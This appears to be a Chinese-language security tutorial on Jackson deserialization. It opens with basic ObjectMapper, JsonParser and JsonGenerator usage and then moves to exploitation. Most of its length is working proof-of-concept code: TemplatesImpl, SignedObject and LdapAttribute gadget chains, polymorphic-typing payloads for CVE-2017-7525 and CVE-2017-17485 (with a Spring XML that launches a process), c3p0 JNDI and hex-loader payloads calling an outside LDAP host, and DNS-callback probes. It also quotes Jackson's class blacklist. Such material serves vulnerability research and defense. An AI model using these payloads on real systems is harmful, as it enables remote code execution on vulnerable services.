JackSon反序列化
JackSon
Springboot一般都会自带JackSon
这个依赖包,JackSon
跟Fastjson
有相同的功效。
Jackson
是一个用于处理 JSON
数据的开源 Java
库。Spring MVC 的默认 json 解析器便是 Jackson
。
在 Java
领域,Jackson
已经成为处理 JSON
数据的事实标准库。它提供了丰富的功能,包括将 Java
对象转换为 JSON
字符串(序列化
)以及将 JSON
字符串转换为 Java
对象(反序列化
)。
Jackson
主要由三个核心包组成:
jackson-databind
:提供了通用的数据绑定功能(将Java对象与JSON数据相互转换)jackson-core
:提供了核心的低级JSON处理API(例如JsonParser和JsonGenerator)jackson-annotations
:提供了用于配置数据绑定的注解
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>
示例
ObjectMapper
Jackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper:
- ObjectMapper可以从字符串,流或文件中解析JSON,并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。
- ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。
- Object映射器可以将JSON解析为自定义的类的对象,也可以解析置JSON树模型的对象。
之所以称为ObjectMapper是因为它将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)。
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class demo {
public static void main(String[] args) throws IOException {
Person user = new Person("eqw",123);
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(user);
System.out.println(json);//{"name":"eqw","age":123}
Person other = mapper.readValue(json,Person.class);
System.out.println(other);//jackson.Person@6a4f787b
}
}
JsonParser
Jackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器,差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦。
使用JsonParser需要先创建一个JsonFactory
package jackson;
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;
public class demo1 {
public static void main(String[] args){
String json = "{\"name\":\"ewq\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 =new Person1();
try{
JsonParser parser = jsonFactory.createParser(json);
System.out.println(parser);//com.fasterxml.jackson.core.json.ReaderBasedJsonParser@1e80bfe8
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
System.out.println(jsonToken);
if (JsonToken.FIELD_NAME.equals(jsonToken)){
String fieldName = parser.getCurrentName();
// System.out.println(fieldName);
jsonToken=parser.nextToken();
System.out.println(jsonToken);
if ("name".equals(fieldName)){
person1.name = parser.getValueAsString();
}
else if ("age".equals(fieldName)){
person1.age = parser.getValueAsInt();
}
}
System.out.println("person's name is "+person1.name);
System.out.println("person's age is "+person1.age);
}
}
catch (Exception e ){
e.printStackTrace();
}
}
}
class Person1 {
public String name;
public int age;
public Person1() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
一旦创建了Jackson JsonParser,就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌。
使用JsonParser的nextToken()获得一个JsonToken,然后循环打印看看所有的 jsonToken,在得到 parser 后添加下面代码
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
System.out.println(jsonToken);
运行得到
然后再利用equals方法进行匹配,如果标记的字段名称是相同的就返回其值
返回值可以用 getValueAsString()
,getValueAsInt()
等方法,根据不同的值的类型
JsonGenerator
Jackson JsonGenerator用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON。
同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator
package jackson;
import com.fasterxml.jackson.core.JsonEncoding;
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonGenerator;
import java.io.File;
public class demo2 {
public static void main(String[] args){
JsonFactory jsonFactory = new JsonFactory();
Person person =new Person();
try{
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name","ewq");
jsonGenerator.writeNumberField("age",123);
jsonGenerator.writeEndObject();
jsonGenerator.close();
}
catch (Exception e ){
e.printStackTrace();
}
}
}
直接写到文件里,这个不能json to Java object
POJONode
public static void main(String[] args) {
Person p = new Person();
POJONode jsonNodes = new POJONode(p);
jsonNodes.toString();
}
利用原理
JackSon的链子主要是利用利用BaseJsonNode的tostring触发到getter方法。:
从ObjectMapper#writeValueAsString()
方法跟进,->ObjectMapper#writeValueAsString() --> ObjectMapper#_writeValueAndClose() --> DefaultSerializerProvider#serializeValue() --> DefaultSerializerProvider#_serialize() --> BeanSerializer#serialize()
跟进serializeFields --> BeanPropertyWriter#serializeAsField
这里对Bean类中的所有属性值的写入,也就是在这里调用了getter
方法。
BaseJsonNode是抽象类,我们用PoJoNode:PoJoNode
类是继承ValueNode
,ValueNode
是继承BaseJsonNode
类
注意点
PoJoNode
类是继承ValueNode
,ValueNode
是继承BaseJsonNode
类,我们看看BaseJsonNode
类:
它拥有writeReplace
方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace
方法,这是反序列化的规则,解决办法就是重写BaseJsonNode
类,把这个writeReplace
注释掉即可
利用链
TemplatesImpl链
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
看到BaseJsonNode类的toString
方法,
@Override
public String toString() {
return InternalNodeMapper.nodeToString(this);
}
跟进InternalNodeMapper类的nodeToString
方法
public static String nodeToString(JsonNode n) {
try {
return STD_WRITER.writeValueAsString(n);
} catch (IOException e) { // should never occur
throw new RuntimeException(e);
}
}
这里可以进入writeValueAsString
只要进入writeValueAsString
方法,就可以调用任意getter
方法,最经典的getter就是TemplatesImpl.getOutputProperties
方法。
由于BaseJsonNode是抽象类,我们找他的子类,而且没有重写toString方法的子类就可以了,可以用POJONode
然后用BadAttributeValueExpException触发toString就可以了
package jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.util.Base64;
import static jackson.Tools.*;
public class TemplatesImpldemo {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] bytes = getshortevil("calc");
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", pojoNode);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}
}
SignObject链
二次反序列化
java.security.SignedObject类有一个令人满意的getter方法getObject(),content通过构造方法可控,这里就可以调用任意字节流的原生反序列化,并返回反序列化后的对象
既然是getter
方法,那么也可以被jackson链调用。
package jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.security.*;
import java.util.Base64;
import static jackson.Tools.*;
public class SignObject_jackson {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] evilbyte = getshortevil("calc");
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilbyte});
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val", pojoNode);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
setFieldValue(exp2, "val", pojoNode2);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(exp2);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}
}
LdapAttribute链
LdapAttribute
类中有getter方法调用了lookup
需要注意的是baseCtxURL
必须是ldap://xxxx/
这种格式,否则经过拼接之后查询ldap会出现错误.而rdn
这个字符串只能够拼接第一个/
前的进去.所以我们构造的payload必须形如ldap://xxxx/xxx/
.
用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar直接起就行
package jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.Base64;
import static jackson.Tools.*;
public class LdapAttributedemo {
public static void main( String[] args ) throws Exception {
overrideJackson();
String ldapCtxUrl = "ldap://127.0.0.1:1389/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
setFieldValue(ldapAttribute, "baseCtxURL", ldapCtxUrl);
setFieldValue(ldapAttribute, "rdn", new CompositeName("yriwp1/z"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val", jsonNodes);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(exp);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}
}
特定配置导致的利用
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
当我们使用的JacksonPolymorphicDeserialization
配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法
满足下面三个条件之一即存在Jackson反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
简单地说,Java多态就是同一个接口使用不同的实例而执行不同的操作。
那么问题来了,如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。
JacksonPolymorphicDeserialization即Jackson多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如Object、接口或抽象类,则可以在JSON字符串中指定其具体类型,Jackson将生成具体类型的实例。
简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种:
- DefaultTyping
- @JsonTypeInfo注解。
利用链
TemplatesImpl利用链(CVE-2017-7525)
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
{
"object":[
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes":["Base64exp"],
"transletName":"feng",
"outputProperties":{}
}
]
}
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.unboundid.util.Base64;
import static jackson.Tools.*;
public class templdemo {
public static void main(String[] args) throws Exception{
String exp = Base64.encode(getBytes("jackson.evil"));
exp = exp.replace("\n","");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'whatever',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(jsonInput, evil.class);
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
}
高版本JDK不能触发的原因——_tfactory
在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory
属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性,所以也就没法进行反序列化了。
至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599]
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是 Person 类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。
ClassPathXmlApplicationContext利用链(CVE-2017-17485)
影响版本
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
需要有Spring的依赖
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:39876/spel.xml"]
spel.xml:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class cpath {
public static void main(String[] args) throws IOException {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:7777/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
c3p0利用链
JNDI注入链
["com.mchange.v2.c3p0.JndiRefForwardingDataSource", {"jndiName":"ldap://121.5.169.223:1389/k2isjv", "loginTimeout":0}]
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class c3jndi {
public static void main(String[] args) throws IOException {
String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"ldap://127.0.0.1:1389/et5soo\", \"loginTimeout\":0}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
先调用setJndiName
设置jndiName
:
public void setJndiName( Object jndiName ) throws PropertyVetoException
{
Object oldVal = this.jndiName;
if ( ! eqOrBothNull( oldVal, jndiName ) )
vcs.fireVetoableChange( "jndiName", oldVal, jndiName );
this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */);
if ( ! eqOrBothNull( oldVal, jndiName ) )
pcs.firePropertyChange( "jndiName", oldVal, jndiName );
}
然后调用setLoginTimeout
:
public void setLoginTimeout(int seconds) throws SQLException
{ inner().setLoginTimeout( seconds ); }
跟进inner()
:
private synchronized DataSource inner() throws SQLException
{
if (cachedInner != null)
return cachedInner;
else
{
DataSource out = dereference();
if (this.isCaching())
cachedInner = out;
return out;
}
}
因为没设置cachedInner
所以为null,跟进dereference()
:
private DataSource dereference() throws SQLException
{
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try
{
InitialContext ctx;
if (jndiEnv != null)
ctx = new InitialContext( jndiEnv );
else
ctx = new InitialContext();
if (jndiName instanceof String)
return (DataSource) ctx.lookup( (String) jndiName );
else if (jndiName instanceof Name)
return (DataSource) ctx.lookup( (Name) jndiName );
else
throw new SQLException("Could not find ConnectionPoolDataSource with " +
"JNDI name: " + jndiName);
}
hex序列化字节加载器
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import static jackson.Tools.*;
public class c3Hex {
public static void main(String[] args) throws Exception{
byte[] evil = getBytes("jackson.evil");
String hexString = bytesToHexString(evil,evil.length);
String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hexString + ";\"}]}";
System.out.println(poc);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(poc, evil.class);
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
DNS探测
["java.util.HashSet",[["java.net.URL","http://1wc3gw.dnslog.cn"]]]
["java.net.InetSocketAddress","36alx7.dnslog.cn"]
["java.net.InetAddress","ap6d50.dnslog.cn"]
package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class dnstest {
public static void main(String[] args) throws IOException {
String poc = "[\"java.util.HashSet\",[[\"java.net.URL\",\"https://l2vnosw1.requestrepo.com/\"]]]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(poc, Object.class);
}
}